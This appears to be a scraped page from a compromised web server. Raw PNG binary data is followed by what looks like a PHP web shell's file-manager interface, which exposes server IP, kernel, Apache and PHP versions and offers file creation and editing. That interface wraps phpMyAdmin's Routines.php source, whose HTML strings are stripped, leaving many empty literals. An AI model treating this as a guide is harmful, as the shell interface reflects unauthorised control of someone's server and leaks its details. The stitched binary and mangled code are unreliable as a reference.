PNG  IHDR>asBIT|d pHYstEXtSoftwarewww.inkscape.org< IDATxyx\ř{f-mY&aOr$&&L$\dd@f11 0$  1"/ɫ%k_zQ5:Mx9ԩ[f`X1Y 6gW$Q A'bp;9ia%n)%b%]R'|5r>pBN/%EǛ0@%FB;0e&*kg5pG&%r16O7V[y*BVw*1ʴ˨n]h=?wF)%'<ǀK)wK <jFڹKi]JHop(0Y>)/E)K!n c5_ ɜu1>jN uÇ~ " f|)I!p`2Ѵr=ΦY]? !eDUon8Yݸ80y[+*<9yDBp0@t륔s"@pJ@ag'M2;L8ݥdAF:k|LJǎR)C!x ~*_J)yz?GCx PJ͛P9!uCh:nv> 1~BYV?i 7<-pBvR-$ }ZD%O:R)i<_Tմ.a酖Hƙ_e&s(g/qc0buT`W45S=w !Uᦈ !=sq֞_< O7t(DWoHP#s η8*j}dRdbnZYeBPd$أ. Ff8sZQge-^Q-PrB,U5.]HCcr`ڨ]!%/mFq>Qlj%nrU0LյTΞ~LQ׾X();c`)sҴ"fɪ{e.*U7Y%C!*uM+ϞҖna;u ] aPRqUDK!sp6Q C&Vm}GI@q!daIa5}lv誊*`ٕU3)\P,-XJB`2H[}–wR[7QWRc0M Ǵz5ӔUӁBd(:!(g'f{Y'0, W l*vBȥbW* 5 hFQ`F(pE^I`\FU!J`4h^[ɮ"yBA bkYsۧDBA¡ `H0@8$قlhDrYFBLfqsl;ޝ(N<du)XP53n,#>|GFNDR`2c41'k)sbsVcuVaqNh&$@Yt;0+" f iIΘDGwPH( kE56g8)UT W&3B=B &3 'DBiR$(p.{ߕ6$nx w##ݶ@$bl>U^YcZ#J'VIgYbSBy]`}8>=頢̦z씗9(wPGE7 ^1^/.nnw KO Ci;8!8u4;qL^[YɄV]u/* euQ͘4%CEy32-ѿZf2u&թ/Fpg7:84nG\I z݌t<BX+F#2h:7u򁂛 !vAt~i ܇=03 4a]݆yB1L+яj٩┶rF_d { Q %W1c ;;6:ɻJD;#.,&gc3ZL6}4C 72D> GMjv(1H݈7A-6)96~jjM_ç=?QxRO| fiڹ=/%B$Nxl {[u)eaų |LYpIʥT0.(g$Jx]Tt4~q1vFc{JO??DKPH_ݓ0)=uFXE!ΨV<q(֨+{H3rߏ|qU~F{OhQr4 b1=wp >FI߁H$·yH$_?{ȿ:M|׋Dpƽ4hR,G~`M-/nt xCʦ֔z N-$lˁSB,b'Hh00{g9.I"nSbvV7{I@Jyhƍ^ ULo@gs+ W6u%dn J?]M |-G"O  : Ė~0ށ$ͣ}2ZH8<|IO0m2LAw_6w6KTq;;H݂%W0⊯}"#nRnn'=ةnF CyR9B 0E(cȁ$ͣ0/^"EWijx=c!shrupus~c(~ʬ|h:ۢ$ #1{NO"8*_tje0s:m"Q|wk;zTp2|<ΘR-TO|n聄kp%,eθ zunOkH{HXϿls촼e8L2I)ŏ tZQMqH= Ӹpq"0>Jwx?c'&E-8O*LJYPd()!VoH^^D͜,qHD [o˱[~cޘǡnWy`35f+SbÝq[_R|?JB1';7&`18}֟J.oGops!g$LR\$-ʺI7[Wدg=u םۻ.fT%[DD0xcp8&%uyN7WOrõc23 xѻy_MMppO%8AF.۴P%<@̕lJo!81>yP'[z;h(j1h,-hS3;Hz Q`k L9dYk겋F}{aZh;`#O?H{4v)ʈPt!sͧYM p\TkƼCͼn l:>@+bpH;߻lF"' z٨`Yp\?.cglv:[J{[Ca0``4"H8D3J$|CH)7gzRP,f`y88}SHDBpX7q֪d%a!C+9< @DsaÆ qY̦M6ݺ|ǽu۞8q{UO.ӽ`*5kpU%C$O?ZǵHI Ttuu%j@8xr۫k rA.k'N^$sAD ``@?@{{;_|1\CT!ϲ~z^z饄x<ϕ?W@#@У@ww7> ,o;kس''V__]wG'?k[oDv-2$WV8u%{':I9WO;bztM @ }0{e F>)eftlv՘_haǎ;;;&krnjbEc#Y;*mx ^|Xw2k$H4h&#'x9/Z]oʅ&ҥKU}߹sIq8Cɓѝ9Wc3To߾K.$zkq$6T8|rcU[R[&AXz闗:.S/Viy7cvޭjIO@y˖eC&K@.> \=s xdwLn MEMg@<2={ .VȺu2E FH8|K>={NBsۭe7#Iʠ믿^U꫹;xW|~or饗vOٸq#&Sf4H$'[٩3c{!,.ڹKhXC=4lQ^^αcM"dڵ˷ 4l|vZ-TU00 D#?r'l[{<єؼy3<2Yq9X+9&N%%)eFѲ2lbOY#vr%ϥk!cέⴊ <0} ='zZlv.Kf!9 $Jc/h0qLq.pel0R53P$w+3™gk_϶m?}'–-[X|yb&D9V h1Mتj 4!SiIUk.n ))ަP}}=< V5v;/r^;LXHq2"H;V&#׀K!LոBl۶MuW^y%lsmt_FE|f]evTKDHBne]U"笳΢3i/]ͻ^7ʔ_tq"}3i]#KʹH;>ccc|_U]puV/^!LH˥Bj[KZR!Rʔ3b5qypApضm[XBE殗b0 mwKɞ~6a3ZlT.dJ[YRJY1@BtqqB3Π*e;<x*2p%Sy& a6mڔ7'Lsť;SR@7&Of, mkVdkGbU4m{<4A;"{/7n̍d4&qUw`Lm: }ݗP4 yOb[wy'"@ 7-jmUKz_~G7Jb Ν\méU;>V+Um{,ަCGIӱ"dhXKAG}TU{n{<_2_håo|͛7SY95+$"@ `hh2Ig j{ 鵛@*(2T3ׯg|΋\Զw#q@E†nfjkk@@wiD" 'zvp=o굛@RH);F\&hW'r8I#{u21mgfRx7y]C;3kB`6D  #J?oJ[nUVyfO[ 3ouhn(Ti c)q* (6ҵ4ZF?ǤMHYBQ@'L)V>WuE4$~F0~>Owu oqa.7iϿۋLadd1}{GGG]d0Ep)kuXaxXiJL9\bh1&GKdjᰮ~  ?$ QP< + Default page
  • Your IP: 216.73.216.14
  • Server IP: 15.206.10.86
  • Server: Linux ip-172-31-44-180 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
  • Server Software: Apache/2.4.41 (Ubuntu)
  • PHP Version: 7.4.3-4ubuntu2.29
  • Buat File | Buat Folder
Edit File: Routines.php
"; $retval .= ""; $retval .= ""; $retval .= " " . __('Is deterministic') . ""; $retval .= " "; $retval .= ""; if (isset($_REQUEST['edit_item']) && ! empty($_REQUEST['edit_item']) ) { $retval .= ""; $retval .= " " . __('Adjust privileges'); $retval .= Util::showDocu('faq', 'faq6-39'); $retval .= ""; if ($GLOBALS['proc_priv'] && $GLOBALS['is_reload_priv'] ) { $retval .= " "; } else { $retval .= " "; } $retval .= ""; } $retval .= ""; $retval .= " " . __('Definer') . ""; $retval .= " "; $retval .= ""; $retval .= ""; $retval .= " " . __('Security type') . ""; $retval .= " "; $retval .= ""; $retval .= ""; $retval .= " " . __('SQL data access') . ""; $retval .= " "; $retval .= ""; $retval .= ""; $retval .= " " . __('Comment') . ""; $retval .= " "; $retval .= ""; $retval .= ""; $retval .= ""; if ($response->isAjax()) { $retval .= ""; $retval .= ""; } $retval .= "
"; $retval .= ""; return $retval; } // end self::getEditorForm() /** * Composes the query necessary to create a routine from an HTTP request. * * @return string The CREATE [ROUTINE | PROCEDURE] query. */ public static function getQueryFromRequest() { global $_REQUEST, $errors, $param_sqldataaccess, $param_directions, $dbi; $_POST['item_type'] = isset($_POST['item_type']) ? $_POST['item_type'] : ''; $query = 'CREATE '; if (! empty($_POST['item_definer'])) { if (mb_strpos($_POST['item_definer'], '@') !== false) { $arr = explode('@', $_POST['item_definer']); $do_backquote = true; if (substr($arr[0], 0, 1) === "`" && substr($arr[0], -1) === "`" ) { $do_backquote = false; } $query .= 'DEFINER=' . Util::backquote($arr[0], $do_backquote); $do_backquote = true; if (substr($arr[1], 0, 1) === "`" && substr($arr[1], -1) === "`" ) { $do_backquote = false; } $query .= '@' . Util::backquote($arr[1], $do_backquote) . ' '; } else { $errors[] = __('The definer must be in the "username@hostname" format!'); } } if ($_POST['item_type'] == 'FUNCTION' || $_POST['item_type'] == 'PROCEDURE' ) { $query .= $_POST['item_type'] . ' '; } else { $errors[] = sprintf( __('Invalid routine type: "%s"'), htmlspecialchars($_POST['item_type']) ); } if (! empty($_POST['item_name'])) { $query .= Util::backquote($_POST['item_name']); } else { $errors[] = __('You must provide a routine name!'); } $params = ''; $warned_about_dir = false; $warned_about_length = false; if (! empty($_POST['item_param_name']) && ! empty($_POST['item_param_type']) && ! empty($_POST['item_param_length']) && is_array($_POST['item_param_name']) && is_array($_POST['item_param_type']) && is_array($_POST['item_param_length']) ) { $item_param_name = $_POST['item_param_name']; $item_param_type = $_POST['item_param_type']; $item_param_length = $_POST['item_param_length']; for ($i=0, $nb = count($item_param_name); $i < $nb; $i++) { if (! empty($item_param_name[$i]) && ! empty($item_param_type[$i]) ) { if ($_POST['item_type'] == 'PROCEDURE' && ! empty($_POST['item_param_dir'][$i]) && in_array($_POST['item_param_dir'][$i], $param_directions) ) { $params .= $_POST['item_param_dir'][$i] . " " . Util::backquote($item_param_name[$i]) . " " . $item_param_type[$i]; } elseif ($_POST['item_type'] == 'FUNCTION') { $params .= Util::backquote($item_param_name[$i]) . " " . $item_param_type[$i]; } elseif (! $warned_about_dir) { $warned_about_dir = true; $errors[] = sprintf( __('Invalid direction "%s" given for parameter.'), htmlspecialchars($_POST['item_param_dir'][$i]) ); } if ($item_param_length[$i] != '' && !preg_match( '@^(DATE|TINYBLOB|TINYTEXT|BLOB|TEXT|' . 'MEDIUMBLOB|MEDIUMTEXT|LONGBLOB|LONGTEXT|' . 'SERIAL|BOOLEAN)$@i', $item_param_type[$i] ) ) { $params .= "(" . $item_param_length[$i] . ")"; } elseif ($item_param_length[$i] == '' && preg_match( '@^(ENUM|SET|VARCHAR|VARBINARY)$@i', $item_param_type[$i] ) ) { if (! $warned_about_length) { $warned_about_length = true; $errors[] = __( 'You must provide length/values for routine parameters' . ' of type ENUM, SET, VARCHAR and VARBINARY.' ); } } if (! empty($_POST['item_param_opts_text'][$i])) { if ($dbi->types->getTypeClass($item_param_type[$i]) == 'CHAR') { if(! in_array($item_param_type[$i], array('VARBINARY', 'BINARY'))) { $params .= ' CHARSET ' . mb_strtolower( $_POST['item_param_opts_text'][$i] ); } } } if (! empty($_POST['item_param_opts_num'][$i])) { if ($dbi->types->getTypeClass($item_param_type[$i]) == 'NUMBER') { $params .= ' ' . mb_strtoupper( $_POST['item_param_opts_num'][$i] ); } } if ($i != (count($item_param_name) - 1)) { $params .= ", "; } } else { $errors[] = __( 'You must provide a name and a type for each routine parameter.' ); break; } } } $query .= "(" . $params . ") "; if ($_POST['item_type'] == 'FUNCTION') { $item_returntype = isset($_POST['item_returntype']) ? $_POST['item_returntype'] : null; if (! empty($item_returntype) && in_array( $item_returntype, Util::getSupportedDatatypes() ) ) { $query .= "RETURNS " . $item_returntype; } else { $errors[] = __('You must provide a valid return type for the routine.'); } if (! empty($_POST['item_returnlength']) && !preg_match( '@^(DATE|DATETIME|TIME|TINYBLOB|TINYTEXT|BLOB|TEXT|' . 'MEDIUMBLOB|MEDIUMTEXT|LONGBLOB|LONGTEXT|SERIAL|BOOLEAN)$@i', $item_returntype ) ) { $query .= "(" . $_POST['item_returnlength'] . ")"; } elseif (empty($_POST['item_returnlength']) && preg_match( '@^(ENUM|SET|VARCHAR|VARBINARY)$@i', $item_returntype ) ) { if (! $warned_about_length) { $errors[] = __( 'You must provide length/values for routine parameters' . ' of type ENUM, SET, VARCHAR and VARBINARY.' ); } } if (! empty($_POST['item_returnopts_text'])) { if ($dbi->types->getTypeClass($item_returntype) == 'CHAR') { $query .= ' CHARSET ' . mb_strtolower($_POST['item_returnopts_text']); } } if (! empty($_POST['item_returnopts_num'])) { if ($dbi->types->getTypeClass($item_returntype) == 'NUMBER') { $query .= ' ' . mb_strtoupper($_POST['item_returnopts_num']); } } $query .= ' '; } if (! empty($_POST['item_comment'])) { $query .= "COMMENT '" . $GLOBALS['dbi']->escapeString($_POST['item_comment']) . "' "; } if (isset($_POST['item_isdeterministic'])) { $query .= 'DETERMINISTIC '; } else { $query .= 'NOT DETERMINISTIC '; } if (! empty($_POST['item_sqldataaccess']) && in_array($_POST['item_sqldataaccess'], $param_sqldataaccess) ) { $query .= $_POST['item_sqldataaccess'] . ' '; } if (! empty($_POST['item_securitytype'])) { if ($_POST['item_securitytype'] == 'DEFINER' || $_POST['item_securitytype'] == 'INVOKER' ) { $query .= 'SQL SECURITY ' . $_POST['item_securitytype'] . ' '; } } if (! empty($_POST['item_definition'])) { $query .= $_POST['item_definition']; } else { $errors[] = __('You must provide a routine definition.'); } return $query; } // end self::getQueryFromRequest() /** * Handles requests for executing a routine * * @return void */ public static function handleExecute() { global $_GET, $_POST, $_REQUEST, $GLOBALS, $db; $response = Response::getInstance(); /** * Handle all user requests other than the default of listing routines */ if (! empty($_POST['execute_routine']) && ! empty($_POST['item_name'])) { // Build the queries $routine = self::getDataFromName( $_POST['item_name'], $_POST['item_type'], false ); if ($routine === false) { $message = __('Error in processing request:') . ' '; $message .= sprintf( Words::get('not_found'), htmlspecialchars(Util::backquote($_POST['item_name'])), htmlspecialchars(Util::backquote($db)) ); $message = Message::error($message); if ($response->isAjax()) { $response->setRequestStatus(false); $response->addJSON('message', $message); exit; } else { echo $message->getDisplay(); unset($_POST); } } $queries = array(); $end_query = array(); $args = array(); $all_functions = $GLOBALS['dbi']->types->getAllFunctions(); for ($i = 0; $i < $routine['item_num_params']; $i++) { if (isset($_POST['params'][$routine['item_param_name'][$i]])) { $value = $_POST['params'][$routine['item_param_name'][$i]]; if (is_array($value)) { // is SET type $value = implode(',', $value); } $value = $GLOBALS['dbi']->escapeString($value); if (! empty($_POST['funcs'][$routine['item_param_name'][$i]]) && in_array( $_POST['funcs'][$routine['item_param_name'][$i]], $all_functions ) ) { $queries[] = "SET @p$i=" . $_POST['funcs'][$routine['item_param_name'][$i]] . "('$value');\n"; } else { $queries[] = "SET @p$i='$value';\n"; } $args[] = "@p$i"; } else { $args[] = "@p$i"; } if ($routine['item_type'] == 'PROCEDURE') { if ($routine['item_param_dir'][$i] == 'OUT' || $routine['item_param_dir'][$i] == 'INOUT' ) { $end_query[] = "@p$i AS " . Util::backquote($routine['item_param_name'][$i]); } } } if ($routine['item_type'] == 'PROCEDURE') { $queries[] = "CALL " . Util::backquote($routine['item_name']) . "(" . implode(', ', $args) . ");\n"; if (count($end_query)) { $queries[] = "SELECT " . implode(', ', $end_query) . ";\n"; } } else { $queries[] = "SELECT " . Util::backquote($routine['item_name']) . "(" . implode(', ', $args) . ") " . "AS " . Util::backquote($routine['item_name']) . ";\n"; } // Get all the queries as one SQL statement $multiple_query = implode("", $queries); $outcome = true; $affected = 0; // Execute query if (! $GLOBALS['dbi']->tryMultiQuery($multiple_query)) { $outcome = false; } // Generate output if ($outcome) { // Pass the SQL queries through the "pretty printer" $output = Util::formatSql(implode($queries, "\n")); // Display results $output .= "
"; $output .= sprintf( __('Execution results of routine %s'), Util::backquote(htmlspecialchars($routine['item_name'])) ); $output .= ""; $nbResultsetToDisplay = 0; do { $result = $GLOBALS['dbi']->storeResult(); $num_rows = $GLOBALS['dbi']->numRows($result); if (($result !== false) && ($num_rows > 0)) { $output .= ""; foreach ($GLOBALS['dbi']->getFieldsMeta($result) as $field) { $output .= ""; } $output .= ""; while ($row = $GLOBALS['dbi']->fetchAssoc($result)) { $output .= "" . self::browseRow($row) . ""; } $output .= "
"; $output .= htmlspecialchars($field->name); $output .= "
"; $nbResultsetToDisplay++; $affected = $num_rows; } if (! $GLOBALS['dbi']->moreResults()) { break; } $output .= "
"; $GLOBALS['dbi']->freeResult($result); } while ($outcome = $GLOBALS['dbi']->nextResult()); } if ($outcome) { $output .= "
"; $message = __('Your SQL query has been executed successfully.'); if ($routine['item_type'] == 'PROCEDURE') { $message .= '
'; // TODO : message need to be modified according to the // output from the routine $message .= sprintf( _ngettext( '%d row affected by the last statement inside the ' . 'procedure.', '%d rows affected by the last statement inside the ' . 'procedure.', $affected ), $affected ); } $message = Message::success($message); if ($nbResultsetToDisplay == 0) { $notice = __( 'MySQL returned an empty result set (i.e. zero rows).' ); $output .= Message::notice($notice)->getDisplay(); } } else { $output = ''; $message = Message::error( sprintf( __('The following query has failed: "%s"'), htmlspecialchars($multiple_query) ) . '

' . __('MySQL said: ') . $GLOBALS['dbi']->getError() ); } // Print/send output if ($response->isAjax()) { $response->setRequestStatus($message->isSuccess()); $response->addJSON('message', $message->getDisplay() . $output); $response->addJSON('dialog', false); exit; } else { echo $message->getDisplay() , $output; if ($message->isError()) { // At least one query has failed, so shouldn't // execute any more queries, so we quit. exit; } unset($_POST); // Now deliberately fall through to displaying the routines list } return; } elseif (! empty($_GET['execute_dialog']) && ! empty($_GET['item_name'])) { /** * Display the execute form for a routine. */ $routine = self::getDataFromName( $_GET['item_name'], $_GET['item_type'], true ); if ($routine !== false) { $form = self::getExecuteForm($routine); if ($response->isAjax()) { $title = __("Execute routine") . " " . Util::backquote( htmlentities($_GET['item_name'], ENT_QUOTES) ); $response->addJSON('message', $form); $response->addJSON('title', $title); $response->addJSON('dialog', true); } else { echo "\n\n

" . __("Execute routine") . "

\n\n"; echo $form; } exit; } elseif (($response->isAjax())) { $message = __('Error in processing request:') . ' '; $message .= sprintf( Words::get('not_found'), htmlspecialchars(Util::backquote($_GET['item_name'])), htmlspecialchars(Util::backquote($db)) ); $message = Message::error($message); $response->setRequestStatus(false); $response->addJSON('message', $message); exit; } } } /** * Browse row array * * @param array $row Columns * * @return string */ private static function browseRow(array $row) { $output = null; foreach ($row as $value) { if ($value === null) { $value = 'NULL'; } else { $value = htmlspecialchars($value); } $output .= "" . $value . ""; } return $output; } /** * Creates the HTML code that shows the routine execution dialog. * * @param array $routine Data for the routine returned by * self::getDataFromName() * * @return string HTML code for the routine execution dialog. */ public static function getExecuteForm(array $routine) { global $db, $cfg; $response = Response::getInstance(); // Escape special characters $routine['item_name'] = htmlentities($routine['item_name'], ENT_QUOTES); for ($i = 0; $i < $routine['item_num_params']; $i++) { $routine['item_param_name'][$i] = htmlentities( $routine['item_param_name'][$i], ENT_QUOTES ); } // Create the output $retval = ""; $retval .= "\n\n"; $retval .= "
isAjax()) { $retval .= "{$routine['item_name']}\n"; $retval .= "\n"; $retval .= "\n"; } else { $retval .= "" . __('Routine parameters') . "\n"; $retval .= "
\n"; $retval .= __('Routine parameters'); $retval .= "
\n"; } $retval .= "\n"; $retval .= "\n"; $retval .= "\n"; if ($cfg['ShowFunctionFields']) { $retval .= "\n"; } $retval .= "\n"; $retval .= "\n"; // Get a list of data types that are not yet supported. $no_support_types = Util::unsupportedDatatypes(); for ($i = 0; $i < $routine['item_num_params']; $i++) { // Each parameter if ($routine['item_type'] == 'PROCEDURE' && $routine['item_param_dir'][$i] == 'OUT' ) { continue; } $retval .= "\n\n"; $retval .= "\n"; $retval .= "\n"; if ($cfg['ShowFunctionFields']) { $retval .= "\n"; } // Append a class to date/time fields so that // jQuery can attach a datepicker to them $class = ''; if ($routine['item_param_type'][$i] == 'DATETIME' || $routine['item_param_type'][$i] == 'TIMESTAMP' ) { $class = 'datetimefield'; } elseif ($routine['item_param_type'][$i] == 'DATE') { $class = 'datefield'; } $retval .= "\n"; $retval .= "\n"; } $retval .= "\n
" . __('Name') . "" . __('Type') . "" . __('Function') . "" . __('Value') . "
{$routine['item_param_name'][$i]}{$routine['item_param_type'][$i]}\n"; if (stristr($routine['item_param_type'][$i], 'enum') || stristr($routine['item_param_type'][$i], 'set') || in_array( mb_strtolower($routine['item_param_type'][$i]), $no_support_types ) ) { $retval .= "--\n"; } else { $field = array( 'True_Type' => mb_strtolower( $routine['item_param_type'][$i] ), 'Type' => '', 'Key' => '', 'Field' => '', 'Default' => '', 'first_timestamp' => false ); $retval .= ""; } $retval .= "\n"; if (in_array($routine['item_param_type'][$i], array('ENUM', 'SET'))) { if ($routine['item_param_type'][$i] == 'ENUM') { $input_type = 'radio'; } else { $input_type = 'checkbox'; } foreach ($routine['item_param_length_arr'][$i] as $value) { $value = htmlentities(Util::unquote($value), ENT_QUOTES); $retval .= "" . $value . "
\n"; } } elseif (in_array( mb_strtolower($routine['item_param_type'][$i]), $no_support_types )) { $retval .= "\n"; } else { $retval .= "\n"; } $retval .= "
\n"; if (! $response->isAjax()) { $retval .= "\n\n"; $retval .= "
\n"; $retval .= " \n"; $retval .= "
\n"; } else { $retval .= ""; $retval .= ""; } $retval .= "
\n\n"; $retval .= "\n\n"; return $retval; } // end self::getExecuteForm() }